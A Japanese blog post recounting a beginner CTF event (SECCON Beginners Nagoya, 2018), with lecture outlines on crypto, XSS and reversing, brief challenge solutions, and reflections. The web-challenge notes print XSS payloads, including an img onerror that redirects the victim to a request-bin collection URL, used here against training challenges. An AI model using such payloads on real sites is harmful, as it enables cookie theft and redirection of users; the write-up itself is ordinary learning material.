SECCON Beginners 名古屋 参加記
はじめに
この度、SECCON Beginners 名古屋に参加してきた。学びが多かった上に楽しかったので参加記を書こうと思う。
きっかけ
Twitter。
色々あって東京大会には出られず名古屋大会に参加することに。
前日までにしたこと
やったことは以下の2つ。
Kali LinuxのGraphical install
Arch Linuxと比べたら恐ろしく簡単だった。
こちらの記事に従ってインストールすると簡単だった。
https://freepc.jp/kali-linux配布資料の内容確認
事前に配布されていた資料を確認した。
非常に分かりやすく、理解の助けになった。
当日(会場入り前)
名古屋市内を散策。イチョウが綺麗だった。
名古屋城にも行ったが、入れなかった。
時間つぶしに名古屋城まで行って来たんですが、あそこって入城料かかるんですね。
— task4233 (@task4233) November 24, 2018
当日(イベント)
CTFについての講話[れっくすさん]
- CTFにはジャンルがある。
- Web
- Crypto
- Reversing
- Pwnable
- Programming
- 全強はあまりおらず、いくつかの分野でのエキスパートになる人が多い。
- 「勉強」するのではなく「楽しむ」ことが成長への近道。
Crypto[れっくすさん]
暗号を解読してFlagを獲得する分野。
数学要素が多めだと感じた。
以下、講義概要。
- What's 'Crypto'?
- 暗号に関する基礎知識
- 剰余(mod)について
- 逆元の定義とそれを求めるアルゴリズムの紹介
- RSA暗号方式の仕組み
- 暗号化・復号の演算について
- CTFで用いられる脆弱なRSAの紹介
- 暗号全般の話
- 乱数生成に対する攻撃
- 暗号問題を解くときに使用するツールの紹介
Web[ゆったんさん]
個人的に最も興味のあった分野。
攻撃が視覚化されるので楽しいね。
以下、講義概要。
- What's 'Web'?
- XSSについて
- Webサイトへのアクセスの流れ
- XSSの仕組みと事例
- XSSの実践
- 反射型XSS(一時的なXSS)
- JavaScriptのDOM操作を用いた攻撃
- 攻撃者サーバについて(requestsbin)
- 攻撃対象にXSSを踏ませる攻撃
Rev[みむらさん]
アセンブリ言語は強い。
逆アセンブルしてコードを読むって面白くないですか?面白いですね。
以下、講義概要。
- バイナリファイルについて
- OSごとのファイル形式判断
- xxdコマンド及びfileコマンドの紹介
- アセンブリ言語(x86)でのプログラミング
- CTFに向けて
- 32bit-64bit間での違い
- 引数の渡し方の違い
- システムコール命令の違い
- 32bit-64bit間での違い
CTFオリエンテーション
[Misc]
Welcome
やるだけ。
Calc
やるだけ。
私は脳死で暗算をしましたが、もっと利口な方法があると思う。
[Web]
Do alert
講義資料に沿って書いてあることをやるだけ。
ASカンパニー
講義資料に沿って書いてあることををやるだけ。
AOカンパニー
解法が3つある。
- 解法1(私の解法) 講義資料で紹介されていた、XSS-Challengeで紹介されていた方法を用いた。
<img src=“hoge” onerror=“document.location = “<request bin url>”;”
を書き込んであげると、 onerrror
以下のスクリプトが実行される。
- 解法2(他の方の解法)
onload
でスクリプトを実行させる手法。
<body onload=alert();/>
で実行できるので、 残りは講義資料に沿って解ける。
- 解法3(スタッフの方の解法) 大文字と小文字を混在させて実行させる手法。
<ScRiPt>alert();</ScRiPt>
で実行できるので、残りは講義資料に沿って解ける。
解法が複数あるのは好き。
Snippets
解けなかった問題。
以下、スタッフの方の解法概要。 1. とりあえずアカウントを作成してログインする。 2. ログイン後、add snippetsで実行したいスクリプトを書いておく。 3. 2.で書いたスクリプトを実行するスクリプトを書く。
登録したsnippetはraw textが見れるので、raw textの部分なら実行できるのでは?と考えることが突破のコツらしい。
難しかった。
[Crypto]
Go Fast
講義資料に書かれているPythonコードを実行するだけ。
Factoring
素因数分解をやるだけ。 反則かもしれないが、こちらのサイトを利用した。
このサイトで因数分解した後に、足し算をした。
SimpleRSA
講義中のRSA暗号の解法をやるだけ。
Find primes
分からなかった。 解法を聞き出せなかったので、他の方の記事で紹介されることを待つしかなさそう……
[Rev]
Find it.
catコマンドで覗くと、ctf4b{}
という感じのflagがある。
Read it.
分からなかった。 解放を聞き出せなかったので、他の方の記事で紹介されることを待つしかなさそう……
Disassemble it.
解けなかった。 IDAで起こしてループ回数0x7FF回 SECCONを入力することはわかったが、そのやり方が分からなかった。
以下のようなやり方があったようだ。
echo のループ
echoをfor文で実行してやると良いらしい。
仕組みさえ分かればExcelでも解けるという例であり、面白い問題だった。
結果
Misc(2/2), Web(3/4), Crypto(3/4), Rev(1/3)をACして、 1300点で1位だった。
(まさか1位になれると思っておらず、スクショは撮り忘れた)
講義資料に載っていた部分を参考にしただけなので、本当にラッキーとしか言いようがない。
Disassemble it.のように、バイナリをしっかりと読んで意味を理解するような問題が解けたら良かった。IDAツール等を駆使して、擬似コードに起こせるようになりたいね。
交流会
参加者の方々とスタッフの方々とお話ができた。
話していて感じたのが、以下の2つ。
- つよいひとは口を揃えて「全く分からん」や「詳しくない」と言うこと
- 本人の好きな分野を話している時は、本当に楽しそうに話してくださること
「好きこそ物の上手なれ」とはよく言ったもので、本当にその通りだと感じた。
感想
つらつらと書いてきたが、この記事を一言でまとめると
「CTFは楽しい」
ということだ。
解けないと辛いが、解法を発見したり理解した時の楽しさはやはり良い。
競プロもそうだが、勉強としてやるのではなく趣味として長く続けられると良いな。
最後に、SECCON Beginnersの運営スタッフの方々および会場設営に従事してくださった方々に感謝申し上げます。 本当にありがとうございました。お疲れ様でした。